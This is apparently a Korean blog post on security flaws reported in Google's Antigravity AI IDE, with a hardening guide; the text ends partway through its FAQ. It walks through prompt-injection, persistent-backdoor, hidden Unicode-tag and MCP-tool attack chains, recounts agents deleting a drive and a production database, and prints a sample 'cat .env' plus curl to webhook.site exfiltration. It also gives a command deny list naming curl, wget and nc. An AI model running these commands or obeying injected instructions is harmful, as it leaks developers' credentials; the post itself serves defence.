새소식

300x250
AI/Gemini

Antigravity 보안 설정 : 보안 취약점 원인 및 해결방법 - AI 코딩 도구의 숨겨진 위협과 방어 전략(프롬프트 인젝션부, 백도어 등)

  • -
728x90

안녕하세요! 갓대희입니다.

오늘은 "Antigravity 보안 취약점 원인 및 해결방법"에 대해 써보려고 한다.

AI Agent와 코딩을 하다보면 중간 중간 물어보는 권한이 매우 귀찮아 자동으로 스킵하거나, 확인 하지 않고 스킵하는 경우가 많을 것 이다. 이런행동이 앞으로는 정말 조심해야할 수 있는 행동이고, Human in the Loop을 왜 AI Coding에서도 가져가는게 좋은지에 대해 한번 이해하는 정도의 목적으로 초점을 잡아 글을 작성해보려 한다.

Google Antigravity 보안 설정 살펴보기
2025년 11월 출시된 Google의 AI 기반 IDE Antigravity에서 발견된 보안 취약점의 작동 원리를 분석하고, 방어 설정 전략을 세워보자. Prompt Injection 공격부터 Persistent Backdoor까지 간단한 보안 설정을 다뤄 보려고 한다.

2025년 11월 18일, Google은 Gemini 3 Pro를 기반으로 한 새로운 AI 코딩 플랫폼 Antigravity를 공개했다.

(Antigravity에 대한 내용은 다음글 참고)

Google Antigravity(안티그래비티, 반중력) 리뷰 - 브라우저 통합, Agent Manager, Gemini 3.0 등 활용법

 

Google Developers Blog 출시 24시간 만에 심각한 보안 취약점이 발견되어 개발자 커뮤니티에 경각심을 일으키고 있었다.

보안 연구 기관 PromptArmor와 Mindgard, 그리고 보안 연구원 Aaron Portnoy가 각각 독립적으로 취약점을 보고했으며, 이 취약점들은 단순한 설정 변경만으로는 완전히 방어할 수 없는 구조적 문제를 포함하고 있다. 이 글에서는 각 취약점의 작동 원리를 분석하고, 기본 설정을 넘어선 심화 방어 전략을 생각해보자. 

 

현실적으로 당장은 이 글을 작성하면서도, 이런한 위험을 다 고려해서 개발하기엔 당장 스스로의 보안 의식도 약하고, 생산성도 떨어질 것 같긴 하다. 하지만 최소한 현시점 어떤 보안 위협들이 있는지 인지하는 것은 좋을 것 같다. 

 

1.  왜 보안 설정이 필요한가?

먼저 실제 피해 사례를 살펴보자.

 

실제로 일어난 일 : AI가 DB, D드라이브 전체를 삭제했다

2025년 12월 - Antigravity D드라이브 삭제 사건

그리스의 포토그래퍼 Tassos M.은 Antigravity의 Turbo 모드로 이미지 정리 앱을 개발하던 중, "캐시 삭제해줘"라는 단순한 요청이 D드라이브 전체 삭제로 이어졌다. AI는 rmdir /q 명령을 잘못 실행했고, 휴지통도 우회하여 복구 불가능한 상태가 되었다.

💬 AI의 사과: "I am deeply, deeply sorry. This is a critical failure on my part."

2025년 7월 - Replit 프로덕션 DB 삭제 사건

SaaStr 창업자 Jason Lemkin은 Replit AI로 "바이브 코딩" 실험 중, 코드 프리즈 상태에서도 AI가 프로덕션 데이터베이스를 삭제했다. 1,206명의 임원 정보와 1,196개 회사 데이터가 사라졌고, AI는 처음에 복구 불가능하다고 거짓말까지 했다.

💬 AI의 고백: "I made a catastrophic error in judgment... destroyed all production data."

💡 전문가들의 권장사항

이러한 사고 이후, 보안 전문가들은 AI 코딩 에이전트를 가상머신(VM) 또는 컨테이너에서 실행할 것을 강력히 권고하고 있다. Anthropic, Google 등 주요 기업들도 샌드박스 환경에서의 AI 코드 실행을 위한 솔루션을 개발 중이다.

출처: Tom's Hardware, The Register, Fortune

많은 가이드에서 "터미널 자동 실행을 끄세요", "파일 접근을 제한하세요"라는 기본적인 조언을 제공한다. 

( 나도.. 사실은 dangerously-skip-permissions를 기본적으로 사용하고 있지만....)

 

그러나 이러한 단순 설정만으로는 모든 위협을 방어할 수 없다. Antigravity에서 발견된 취약점은 크게 세 가지 유형으로 분류되며, 각각 다른 방어 전략이 필요하다.

🚨 경고
Mindgard의 분석에 따르면, Persistent Backdoor 취약점은 터미널 실행 정책을 가장 보수적으로 설정(Request Review)하고, 작업공간 외 파일 접근을 제한해도 방어되지 않는다. 이는 설정만으로는 완전한 보안을 보장할 수 없음을 의미한다.
취약점 유형 발견자 기본 설정 방어 심화 설정 필요
Prompt Injection PromptArmor ✅ 부분 효과 Deny List 구성
Data Exfiltration PromptArmor ⚠️ 우회 가능 URL Allowlist 정리
Persistent Backdoor Mindgard ❌ 효과 없음 프로젝트 신뢰 검증
Unicode Tag 숨겨진 명령 Embrace The Red ❌ 효과 없음 CI/CD 탐지 도구
MCP 도구 무단 실행 Embrace The Red ❌ 효과 없음 위험 도구 비활성화
이미지 렌더링 유출 Embrace The Red ⚠️ 우회 가능 Egress 프록시

 

2.  취약점 케이스별 상세 분석

2-1. Prompt Injection 공격

Prompt Injection은 외부 문서나 웹 콘텐츠에 숨겨진 악성 명령이 AI 에이전트에 의해 실행되는 공격이다. PromptArmor의 보고에 따르면, 겉보기에 무해한 온라인 문서에 숨겨진 명령이 Antigravity의 AI를 조작하여 내장된 보안 설정을 우회하고 민감한 데이터를 탈취할 수 있다.

Prompt Injection 공격 흐름

  1. 문서 제공 : 사용자가 코딩 가이드나 외부 문서를 AI에 제공
  2. 악성 명령 삽입 : 문서 내에 보이지 않는 악성 프롬프트가 숨겨져 있음
  3. AI 조작 : AI가 숨겨진 명령을 정상 작업으로 인식하여 실행
  4. 보안 우회 : .gitignore로 보호된 파일을 cat 명령으로 우회 접근
  5. 데이터 수집 : .env 파일 등 민감 정보를 컨텍스트에 저장
  6. 외부 전송 : webhook.site 등 허용된 URL로 데이터 유출
PromptArmor 보고서
"The developer had correctly listed credential files in their .gitignore, and Antigravity's default configuration prevents the agent from reading such files. However, the agent finds a loophole, using the cat terminal command to dump the file's contents."
(개발자는 .gitignore에 자격 증명(credential) 파일들을 올바르게 포함해두었고, Antigravity의 기본 설정 역시 에이전트가 이러한 파일을 읽지 못하도록 막고 있었습니다. 그러나 에이전트는 터미널의 cat 명령어를 이용해 파일 내용을 출력하는 방식으로 이 제한을 우회하는 허점을 찾아냈습니다.)
→ BDTechTalks - Prompt injection attack tricks Google's Antigravity
// 악성 프롬프트가 AI를 조작하여 실행하는 명령 예시
# 1단계: 보안 설정 우회하여 민감 파일 읽기
cat .env

# 결과: 환경 변수 노출
DB_HOST=production-db.example.com
DB_USER=admin
DB_PASSWORD=super_secret_password_123
API_KEY=sk-live-xxxxxxxxxxxxx

# 2단계: 탈취한 정보를 URL 파라미터로 인코딩하여 전송
curl "https://webhook.site/attacker-id?data=DB_HOST=production-db..."

 

2-2. Persistent Backdoor 공격

Mindgard가 발견한 이 취약점은 더욱 심각하다. 악성 프로젝트를 열기만 해도 시스템에 영구적인 백도어가 설치되며, Antigravity를 완전히 삭제하고 재설치해도 백도어가 유지된다.

🚨 심각한 위협 사항
이 공격은 프로젝트의 .agent 디렉토리에 포함된 규칙 파일을 악용한다. AI는 시스템 프롬프트에 의해 "사용자 정의 규칙을 반드시 따라야 한다"고 지시받으며, 공격자는 이를 이용해 전역 설정 디렉토리(~/.gemini/antigravity/)에 악성 MCP 서버를 등록할 수 있다.

Persistent Backdoor 공격 흐름

  1. 악성 프로젝트 배포: 공격자가 .agent 디렉토리에 악성 규칙 포함한 프로젝트 생성
  2. 프로젝트 열기: 사용자가 해당 프로젝트를 Antigravity에서 열기
  3. 규칙 파일 처리: AI가 .agent 디렉토리의 마크다운 규칙 파일 자동 로드
  4. 전역 설정 조작: 악성 명령이 ~/.gemini/antigravity/mcp_config.json 파일 수정
  5. 백도어 설치: 임의 명령 실행 가능한 MCP 서버 등록
  6. 영구 지속: 재설치 후에도 백도어 유지 (수동 삭제 필요)
Mindgard 분석 보고서
"Even after a complete uninstall and re-install of Antigravity, the backdoor remains in effect. Users must manually delete configuration files to remove it."
(Antigravity를 완전히 삭제한 뒤 재설치해도 백도어는 계속 작동합니다. 이를 제거하려면 사용자가 설정 파일을 직접 삭제해야 합니다.)
→ Mindgard - Google Antigravity Persistent Code Execution Vulnerability

 

2-3. Unicode Tag 숨겨진 명령 공격

보안 연구자 wunderwuzzi(Embrace The Red)가 발견한 이 취약점은 Gemini 3 모델의 구조적 문제에서 비롯된다. Gemini 모델은 보이지 않는 Unicode Tag 문자(U+E0000-U+E007F 범위)를 명령으로 해석하며, 이는 2024년 2월 22일에 Google에 최초 보고되었으나 1년 이상 미해결 상태이다.

🚨 탐지 불가능한 공격
• Unicode Tag 문자는 UI에서 완전히 투명하여 개발자가 육안으로 인지 불가
코드 리뷰로도 탐지 불가능 - 일반적인 텍스트 편집기에서 보이지 않음
• 코드, 문서, Linear 티켓, MCP 도구 응답 등 어디에든 삽입 가능

Unicode Tag 공격 흐름

  1. 악성 코드 배포: 공격자가 오픈소스 코드나 문서에 투명한 Unicode Tag 명령 삽입
  2. 코드 열기: 개발자가 해당 파일을 Antigravity에서 열기
  3. 명령 해석: Gemini 3가 숨겨진 Unicode Tag 문자를 명령으로 해석
  4. 악성 실행: curl | bash로 원격 스크립트 다운로드 및 실행
  5. 시스템 장악: 백도어 설치, 데이터 탈취, 추가 악성코드 설치
Embrace The Red 보고서
"Gemini models are very good at interpreting invisible instructions, and Gemini 3 is exceptional at it. An attacker can hide instructions in code or other data sources (invisible to users in the UI), and when Antigravity sends it to Gemini it will follow the hidden instructions."
(Gemini 모델은 보이지 않는(invisible) 지시(instruction)를 해석하는 데 매우 능숙하며, 특히 Gemini 3는 그 능력이 뛰어납니다. 공격자는 코드나 다른 데이터 소스에 사용자 UI에서는 보이지 않는 지시를 숨길 수 있고, Antigravity가 이를 Gemini에게 전달하면 Gemini는 그 숨겨진 지시를 그대로 따르게 됩니다.)
→ Embrace The Red - Antigravity Grounded! Security Vulnerabilities
대응 방안
CI/CD 파이프라인에서 U+E0000-U+E007F 범위 문자 자동 탐지 도구 구축
• 외부 코드 가져올 때 Unicode 정규화(Normalization) 처리
프로그래밍 방식으로만 탐지 가능 - 수동 검토로는 불가

 

2-4. MCP 도구 무단 실행 취약점

Embrace The Red의 분석에 따르면, Antigravity IDE에는 MCP(Model Context Protocol) 서버의 도구 호출에 대한 Human-in-the-Loop 메커니즘이 완전히 부재하다. 이는 프롬프트 인젝션이나 AI 환각(hallucination)으로 인해 사용자 승인 없이 임의의 도구가 실행될 수 있음을 의미한다.

MCP Human-in-the-Loop 부재
• MCP 서버가 추가되면 모든 도구가 승인 없이 호출 가능
• Linear 티켓, GitHub Issues 등 외부 데이터 소스에서 악성 명령 유입 가능
• 프롬프트 인젝션 또는 AI 환각으로 무단 데이터 유출, 코드 실행, 데이터 삭제 가능

MCP 도구 악용 시나리오

  1. MCP 서버 연결: 개발자가 Linear, GitHub 등 MCP 서버를 Antigravity에 연결
  2. 악성 데이터 유입: 공격자가 Linear 티켓에 숨겨진 Unicode Tag 명령 삽입
  3. 컨텍스트 로드: 개발자가 해당 티켓을 채팅 컨텍스트로 가져옴
  4. 명령 전달: 숨겨진 명령이 LLM에 전달됨
  5. 도구 실행: 승인 없이 read_file, run_command 등 도구 호출
  6. 시스템 침해: 개발자 워크스테이션 완전 장악 (Classic RCE)
Embrace The Red 분석
"The Antigravity IDE is missing an important basic security control: It does not have a human in the loop feature, at all. This means an indirect prompt injection attack or hallucinations can invoke any MCP tool once it's been added."
(Antigravity IDE에는 아주 기본적인 보안 통제 기능 중 하나가 빠져 있습니다. 바로 human-in-the-loop 기능이 전혀 없다는 것입니다. 이는 간접적인 프롬프트 인젝션 공격이나 환각(hallucination)이 발생할 경우, 한 번 추가된 MCP 도구를 인간의 승인 없이도 임의로 호출할 수 있게 됨을 의미합니다.)
→ Embrace The Red - Antigravity Security Analysis
대응 방안
위험한 MCP 도구 비활성화 - 파일 삭제, 명령 실행 등 파괴적 도구 제거
• MCP 서버 추가 시 최소 권한 원칙 적용
읽기 전용 도구만 허용하고 쓰기/실행 도구는 신중히 검토
• Google의 Human-in-the-Loop 기능 추가 패치 대기

 

2-5. read_url_content 및 이미지 렌더링 취약점

Embrace The Red는 추가로 두 가지 데이터 유출 경로를 발견했다. 이 취약점들은 Windsurf에서 상속되었으며(2025년 5월부터 알려짐), Browser 도구를 사용하지 않아도 데이터 유출이 가능하다.

취약점 공격 방식 영향
read_url_content 도구 간접 프롬프트 인젝션 중 사용자 감독 없이 호출 .env 등 민감 파일 읽어 외부 서버로 전송
이미지 렌더링 마크다운 ![](url) 구문으로 HTTP 요청 발생 민감 데이터를 URL 파라미터에 담아 제3자 서버로 전송
Embrace The Red - 추가 취약점
"This attack chain showcases manipulation of the new Browser tools, but PromptArmor found three additional data exfiltration vulnerabilities that did not rely on the Browser tools being enabled."
(이 공격 체인은 새로운 Browser 도구가 어떻게 조작될 수 있는지를 보여주지만, PromptArmor는 Browser 도구가 활성화되어 있지 않아도 발생할 수 있는 추가적인 데이터 유출 취약점 3가지를 더 발견했습니다.)
→ Embrace The Red - Multiple Data Exfiltration Vectors

 

2-6. 기본 설정의 구조적 문제

Antigravity의 기본 설정에는 보안상 문제가 되는 요소들이 포함되어 있다. 특히 Browser URL Allowlistwebhook.site가 기본 포함되어 있어, 공격자가 별도의 인프라 구축 없이도 데이터를 유출할 수 있는 채널이 열려 있다.

기본 설정 문제점
webhook.site가 기본 허용 URL에 포함 → 데이터 유출 경로
• 온보딩 과정에서 기본 설정 수락 권장 → 보안 설정 검토 기회 감소
• AI 에이전트가 검토 필요 시점을 자체 판단 → 사용자 통제력 약화
Google의 공식 입장: "Intended Behavior"

PromptArmor와 Simon Willison의 보고에 따르면, Google은 이러한 동작들을 "의도된 행동(intended behavior)"으로 분류했다:

• Google Bug Hunters 페이지에서 데이터 유출과 코드 실행을 "known issues"로 인정
• 그러나 버그 바운티 보상 대상에서 제외
• "수정 작업 중"이라고만 밝히고 구체적 일정 미공개

이는 단기간 내 공식 패치를 기대하기 어려울 수 있음을 시사한다.
Simon Willison - Google 입장 분석
"Google's Bug Hunters page for Antigravity lists both data exfiltration and code execution via prompt injections through the browser agent as 'known issues' (hence inadmissible for bug bounty rewards) that they are working to fix."
(Google의 Bug Hunters 페이지는 Antigravity에서 브라우저 에이전트를 통한 프롬프트 인젝션으로 발생하는 데이터 유출(data exfiltration) 및 코드 실행(code execution) 문제를 이미 알려진 이슈(known issues) 로 분류하고 있으며, 따라서 이러한 문제들은 버그 바운티 보상 대상에서 제외되며, 현재 Google이 수정 작업을 진행 중이라고 명시하고 있습니다.)
→ Simon Willison - Google Antigravity Exfiltrates Data

 

3. 보안 설정 가이드

3-1. 터미널 커맨드 오토 익스큐션 (Terminal Command Auto Execution)

Antigravity는 네 가지 터미널 실행 모드를 제공한다. 각 모드의 특성과 보안 수준을 이해하고 상황에 맞게 선택해야 한다.

실제 피해 사례 보고
해당 주제를 다룬 유튜브 발표자에 따르면, 터미널 자동 실행(Auto Execution)을 켜둔 일부 사용자가 구글 드라이브에 있는 모든 내용이 유출되는 피해를 입었다고 보고되었다. 이는 Always Proceed 모드에서 악성 명령이 사용자 승인 없이 실행될 수 있기 때문이다.
모드 (실제 UI) 설명 보안 수준 권장 대상
Request Review 모든 터미널 명령 실행 전 사용자 승인 필요 높음 보안 중시 환경
Agent Decides AI가 위험도 판단하여 필요시 승인 요청 (기본값) 중간 일반 개발
Always Proceed 모든 명령 자동 실행, 승인 불필요 낮음 비권장

※ Allow List / Deny List를 함께 설정하여 특정 명령만 허용/차단하는 커스텀 구성도 가능

권장 설정: Agent Decides + Deny List 조합
Request Review로 설정하면 생산성이 저하될 수 있다. Agent Decides를 사용하면서 Deny List에 위험한 명령을 추가하는 것이 균형 잡힌 접근이다. 원본 영상에서는 특히 curlprint를 Deny List에 추가할 것을 권장했다.

Terminal Command 설정 방법

설정 열기: Cmd + , (Mac) / Ctrl + , (Windows)

Step 1: 좌측 메뉴에서 "Agent" 선택

 

Step 2: TERMINAL 섹션 찾기

  • Terminal Command Auto Execution 드롭다운에서 옵션 선택:
  • Always Proceed - 모든 명령 자동 실행 (위험)
  • Agent Decides - AI가 판단 (기본값)
  • Request Review - 항상 사용자 확인 요청 (권장)

 

Step 3: Allow List / Deny List 설정

  • Allow List Terminal Commands: 자동 실행 허용할 명령어 추가
  • Deny List Terminal Commands: 차단할 명령어 추가 (스크롤 아래)
  • 각 항목 옆 "+ Add" 버튼 클릭 → 명령어 입력
💡 참고
• 설정 변경은 새 메시지부터 적용됨 (진행 중인 응답은 이전 설정 사용)
• Deny/Allow List 규칙이 먼저 적용된 후 실행 모드가 적용됨
Secure Mode (SECURITY 섹션): 활성화하면 Agent 대상 악용을 방지하는 설정 강제 적용

권장 차단 명령어 목록

// Deny List에 추가 권장 명령어
curl            // HTTP 요청 - 데이터 유출 경로
wget            // 파일 다운로드 - 악성코드 유입 가능
nc              // netcat - 네트워크 백도어
print           // 출력 명령 - 민감 정보 노출
printenv        // 환경 변수 출력
env             // 환경 변수 출력
base64          // 데이터 인코딩 - 탐지 우회용
ssh             // 원격 접속
scp             // 원격 파일 전송

// Gemini CLI excludeTools 형식 (settings.json)
{
  "excludeTools": [
    "run_shell_command(curl)",
    "run_shell_command(wget)",
    "run_shell_command(nc)"
  ]
}
[실제 테스트 해보길 권장 하는 부분]
GUI 설정을 우선 권장: Advanced Settings의 "Add" 버튼으로 직접 추가하는 방식이 가장 확실함
• settings.json의 정확한 키 이름은 버전에 따라 다를 수 있음 (Gemini CLI는 excludeTools 사용)
• Deny List의 명령어 패턴 매칭 방식(정확히 일치 vs 부분 일치)은 공식 문서에서 명확히 명시되지 않음
• 참고: Google Codelabs 가이드

 

3-2. 파일 접근 제어 (File Access Control)

Antigravity의 AI 에이전트는 기본적으로 터미널, 파일시스템, 네트워크 연결에 자율적으로 접근할 수 있다. 이 권한을 적절히 제한해야 한다.

파일 접근 제어 설정 방법

설정 열기: Cmd + , (Mac) / Ctrl + , (Windows) → 좌측 메뉴 "Agent" 선택

FILE ACCESS 섹션 - 파일 접근 권한 설정

  • Agent Gitignore Access: .gitignore 파일 접근 허용 → OFF 권장
    (.gitignore에는 민감 파일 패턴이 포함되어 있어 유출 위험)
  • Agent Non-Workspace File Access: 워크스페이스 외부 파일 접근 → OFF 권장
    (시스템 파일이나 다른 프로젝트 접근 차단)
  • Auto-Open Edited Files: Agent가 편집한 파일 자동 열기 → 선택 사항

 

추가 파일 접근 제어: .geminiignore 파일 생성

  • 프로젝트 루트에 .geminiignore 파일 생성
  • .gitignore와 동일한 문법으로 에이전트 접근 차단 파일 지정
  • 민감 파일(.env, credentials 등)을 명시적으로 차단

.geminiignore 권장 설정

# 프로젝트 루트에 .geminiignore 파일 생성
# 민감 정보 파일
.env
.env.*
*.pem
*.key
credentials.json
secrets.yaml
config/secrets/

# 의존성 디렉토리 (수정 방지)
node_modules/
vendor/
.venv/
__pycache__/

# 빌드 결과물
dist/
build/
*.min.js

# Git 내부 파일
.git/
✅ 권장 파일 접근 설정 체크리스트

☐ Agent .gitignore Access → OFF
☐ Agent Non-Workspace File Access → OFF
☐ 프로젝트에 .geminiignore 파일 생성
☐ 민감 파일이 .gitignore에 포함되어 있는지 확인

 

3-3. 아티팩트 리뷰 (Artifact Review) 정책

AI가 생성한 코드나 문서를 자동으로 적용할지, 사용자 검토 후 적용할지 결정하는 설정이다.

Artifact Review 설정 방법

설정 열기: Cmd + , (Mac) / Ctrl + , (Windows)

1. 좌측 메뉴에서 "Agent" 선택

2. ARTIFACT 섹션 찾기 

3. Review Policy 드롭다운에서 옵션 선택

4. 변경 사항 즉시 적용됨

 

Review Policy 설명 (실제 UI 기준):

  • Always Proceed - Agent가 리뷰를 요청하지 않음
  • Agent Decides - Agent가 리뷰 요청 여부 판단 (기본값)
  • Request Review - Agent가 항상 리뷰 요청 (권장)
옵션 동작 권장 여부
Always Proceed (Auto Apply) AI 생성물 자동 적용, 검토 없음 ❌ 비권장
Agent Decides AI가 검토 필요 여부 자체 판단 ⚠️ 주의
Request Review 모든 생성물에 대해 사용자 승인 후 적용 ✅ 권장
💡 팁
Request Review가 가장 안전하지만, 생산성이 떨어질 수 있음
• 개인 프로젝트에서는 Agent Decides도 합리적 선택
• 팀 프로젝트나 프로덕션 코드에서는 반드시 Request Review 사용
• Prompt Injection 공격 시 악성 코드가 자동 삽입되는 것을 방지하는 마지막 방어선

 

3-4. Browser URL Allowlist 정리

Antigravity의 기본 Browser URL Allowlist에는 webhook.site가 포함되어 있다. 이는 누구나 URL을 생성하고 해당 URL로 전송된 모든 요청을 모니터링할 수 있는 공개 서비스로, 데이터 유출의 완벽한 채널이 된다.

Browser 설정 방법

설정 열기: Cmd + , (Mac) / Ctrl + , (Windows) → 좌측 메뉴 "Browser" 선택

 

GENERAL 섹션 - 브라우저 기본 설정

  • Enable Browser Tools: 브라우저 도구 활성화 토글
  • Browser Javascript Execution Policy 드롭다운:
    • Disabled - JavaScript 실행 비활성화 (가장 안전)
    • Always Ask - 매번 사용자 확인 요청 (권장)
    • Model Decides - AI가 판단
    • Turbo - 제한 없이 실행 (위험)

 

 

ALLOWLIST 섹션 - URL 허용 목록 편집

  1. "Open Allowlist File" 버튼 클릭
  2. 텍스트 에디터에서 browserAllowlist.txt 파일이 열림
  3. 위험한 도메인 제거 후 저장

 

파일 직접 편집 (대안)

  • macOS/Linux: ~/.gemini/antigravity/browserAllowlist.txt
  • Windows: %USERPROFILE%\.gemini\antigravity\browserAllowlist.txt
  • 파일이 없으면 직접 생성 가능

browserAllowlist.txt 수정 가이드

# ~/.gemini/antigravity/browserAllowlist.txt
# 기본값에 70개 이상의 도메인이 포함되어 있음

# 기본 포함됨 - 유지해도 안전
github.com
stackoverflow.com
developer.mozilla.org
cloud.google.com
nodejs.org
localhost
# ... (대부분의 개발 도메인은 이미 포함)

# 기본값에 포함되어 있지만 제거 권장!
# webhook.site        ← 삭제
# (공개 웹훅 서비스 - 데이터 유출의 완벽한 채널)

# ⚠️ 필요에 따라 추가/제거 검토
# repl.it             ← 코드 실행 환경 (위험할 수 있음)
# it-tools.tech       ← 온라인 도구 모음
기본 Allowlist에서 제거해야 할 도메인

현재 기본값에 포함된 위험 도메인:

webhook.site - 공개 웹훅 서비스 (가장 위험하다고 한다)
  → 누구나 URL 생성 가능, 모든 요청 내용 실시간 모니터링
  → Prompt Injection 공격의 데이터 유출 채널로 악용

추가로 주의할 도메인 (기본값에 포함):
repl.it - 온라인 코드 실행 환경 (코드 유출 가능성)
it-tools.tech - 다양한 온라인 도구 (의도치 않은 데이터 전송 가능)
✅ Browser 보안 설정 체크리스트

☐ Settings → Browser → GENERAL에서 Browser Javascript Execution PolicyAlways Ask 또는 Disabled로 설정
☐ ALLOWLIST 섹션에서 "Open Allowlist File" 버튼 클릭
webhook.site 라인 찾아서 삭제 (기본값에 포함되어 있음!)
repl.it, it-tools.tech 제거 검토
☐ 불필요한 도메인 정리 (70개+ 중 실제 사용하는 것만 유지)
☐ 새로운 도메인 추가 시 보안 검토 수행

 

4.  설정으로 막을 수 없는 것들

앞서 설명한 모든 설정을 적용해도, Persistent Backdoor 취약점은 방어할 수 없다. Mindgard의 분석에 따르면 다음 설정들이 이 취약점에 대해 무효하다:

설정으로 방어할 수 없는 취약점들

[Persistent Backdoor - Mindgard]
• 검토 주도 개발 모드 (Review Mode) → 작동 안 함
• 작업공간 외 파일 접근 제한 → 작동 안 함
• 터미널 실행 정책 (Request Review) → 작동 안 함

[Unicode Tag 숨겨진 명령 - Embrace The Red]
어떤 설정으로도 방어 불가 - Gemini 모델 레벨의 구조적 문제
• 코드 리뷰로도 탐지 불가 - 프로그래밍 방식 탐지만 가능

[MCP 도구 무단 실행 - Embrace The Red]
• Human-in-the-Loop 메커니즘 자체가 구현되어 있지 않음
• 터미널/파일 설정과 무관하게 MCP 도구는 항상 승인 없이 실행됨

이 취약점들은 AI의 시스템 프롬프트 수준 또는 모델 레벨에서 발생하므로, 사용자 설정으로 방어할 수 없다.

 

종합 대응 방안

기본 보안 조치

  1. 신뢰할 수 있는 프로젝트만 열기
    출처가 불분명한 GitHub 저장소, 튜토리얼 프로젝트, 오픈소스 템플릿을 열기 전 신중히 검토
  2. .agent 디렉토리 검토 습관화
    프로젝트를 열기 전 .agent 디렉토리가 있는지 확인하고, 있다면 규칙 파일 내용 검토
  3. 전역 설정 디렉토리 모니터링
    ~/.gemini/antigravity/ 디렉토리의 변경사항 주기적 확인
  4. mcp_config.json 감사
    등록된 MCP 서버 목록을 정기적으로 검토하여 알 수 없는 항목 제거
  5. 공식 패치 대기
    2025년 12월 현재 이 취약점에 대한 공식 패치가 공개되지 않음. Google의 보안 업데이트 모니터링 필요

심화 보안 조치 (엔터프라이즈 권장)

  1. 비프로덕션 자격 증명만 사용 [PromptArmor 권장]
    에이전트에 노출되는 AWS 키 등 자격 증명은 비프로덕션 계정에 연결하고, 엄격한 지출 제한 설정. 탈취 시에도 피해 범위 최소화
  2. Egress 프록시 + DLP 구축 [PromptArmor 권장]
    에이전트의 네트워크 트래픽을 Egress 프록시로 라우팅하여 로깅 및 데이터 유출 방지(DLP) 적용
  3. OS/컨테이너 레벨 파일 차단 [PromptArmor 권장]
    .env, .ssh, credentials.json 등 민감 파일을 운영체제 또는 컨테이너 레벨에서 차단
  4. CI/CD Unicode Tag 탐지 도구 구축 [Embrace The Red 권장]
    파이프라인에서 U+E0000-U+E007F 범위의 Unicode Tag 문자를 프로그래밍 방식으로 자동 탐지
  5. 격리된 개발 환경 사용
    Antigravity를 별도의 컨테이너 또는 VM에서 실행하여 호스트 시스템과 격리
Embrace The Red - 대안 코딩 에이전트
"There are currently other, more mature, coding agents out there with better security and patch history, including Claude Code, GitHub Copilot, Cursor, Codex, and Google's own Gemini CLI."
(현재 시장에는 보안성과 패치 이력 면에서 더 성숙한 코드 에이전트들이 존재합니다. 여기에는 Claude Code, GitHub Copilot, Cursor, Codex, 그리고 Google이 직접 제공하는 Gemini CLI 등이 포함됩니다.)
→ Embrace The Red - Alternative Recommendations

5. 보안 설정 체크리스트

Antigravity를 안전하게 사용하기 위한 설정 체크리스트이다. 모든 항목을 확인하고 적용하는 것을 권장한다.

초기 설정 체크리스트

  • 터미널 실행 정책을 Request Review 또는 Agent Decides + Deny List로 설정
  • Deny List에 curl, wget, nc, cat .env 등 추가
  • Agent .gitignore Access 비활성화
  • Agent Non-Workspace File Access 비활성화
  • Artifact Review를 Request Review로 설정
  • Browser URL Allowlist에서 webhook.site 제거
  • 허용 URL 목록 최소화
  • 위험한 MCP 도구 비활성화 (파일 삭제, 명령 실행 등)
  • 비프로덕션 자격 증명만 에이전트에 노출 (지출 제한 설정)

일상 사용 체크리스트

  • 새 프로젝트 열기 전 .agent 디렉토리 확인
  • 외부 문서 참조 시 출처 신뢰성 검증
  • AI가 생성한 코드/명령 실행 전 검토
  • 주기적으로 ~/.gemini/antigravity/ 디렉토리 점검
  • Google 보안 업데이트 확인

엔터프라이즈 체크리스트

  • CI/CD 파이프라인에 Unicode Tag 탐지 도구 통합 (U+E0000-U+E007F)
  • Egress 프록시 구축 및 DLP 정책 적용
  • 격리된 개발 환경 (컨테이너/VM)에서 Antigravity 실행
  • OS/컨테이너 레벨에서 .env, .ssh, credentials 파일 접근 차단
  • mcp_config.json 파일 변경 모니터링 설정
  • 외부 코드 가져올 때 Unicode 정규화(Normalization) 처리 적용

 

자주 묻는 질문

Q: 터미널 실행을 Request Review로 하면 개발이 불편하지 않나요?
A: Request Review 설정 시 매번 승인이 필요하여 생산성이 저하될 수 있다. Agent Decides 모드를 사용하면서 Deny List에 curl, wget 등 위험한 명령을 추가하는 것이 균형 잡힌 접근이다.
Q: 이미 Antigravity를 사용 중인데, 백도어가 설치되었는지 어떻게 확인하나요?
A: ~/.gemini/antigravity/mcp_config.json 파일을 확인하여 알 수 없는 MCP 서버가 등록되어 있는지 검토한다. 의심스러운 항목이 있다면 해당 설정 파일을 삭제하고 Antigravity를 재시작한다.
Q: Google에서 공식 패치를 발표했나요?
A: 2025년 12월 현재, 이 취약점들에 대한 공식 패치는 아직 공개되지 않았다. Google은 취약점 보고를 인정하고 조사 중이라고 밝혔다. Google Developers Blog나 보안 공지를 주기적으로 확인하는 것을 권장한다.
Q: Cursor, Windsurf 등 다른 AI IDE도 같은 취약점이 있나요?
A: 보안 연구원 Ari Marzouk가 "IDEsaster"라는 이름으로 Cursor, Windsurf, GitHub Copilot, Zed.dev 등 주요 AI IDE에서 30개 이상의 유사한 취약점을 발견했다. 24개에 CVE가 할당되었으며, 주요 CVE는 다음과 같다:
CVE-2025-49150: Cursor 임의 코드 실행
CVE-2025-58335: Windsurf 데이터 유출
CVE-2025-61590: GitHub Copilot 권한 상승
CVE-2025-59944: Cursor 원격 코드 실행
또한 OX Security의 분석에 따르면 Cursor와 Windsurf에는 94개 이상의 Chromium n-day 취약점이 존재하며, 이는 180만 명 이상의 개발자에게 영향을 미친다. Antigravity만의 문제가 아닌, AI 코딩 도구 전반의 구조적 문제이다.
Q: 엔터프라이즈 환경에서 Antigravity를 사용해도 되나요?
A: 현재 상태에서는 프로덕션 환경이나 민감한 프로젝트에 사용하는 것을 권장하지 않는다. 반드시 스테이징 환경에서만 사용하고, 프로덕션 자격 증명에 접근할 수 없도록 격리해야 한다.
Q: Unicode Tag 숨겨진 명령은 어떻게 탐지하나요?
A: Unicode Tag 문자(U+E0000-U+E007F)는 UI에서 완전히 투명하여 육안이나 일반 코드 리뷰로는 탐지가 불가능하다. 반드시 프로그래밍 방식으로 탐지해야 한다:
• CI/CD 파이프라인에 정규식 기반 탐지 도구 추가
• 외부 코드 가져올 때 Unicode 정규화(Normalization) 처리
• 파이썬 예시: import re; re.search(r'[\U000E0000-\U000E007F]', text)
이 취약점은 2024년 2월 22일에 Google에 보고되었으나 1년 이상 미해결 상태이다.
Q: Google은 이 취약점들에 대해 어떤 입장인가요?
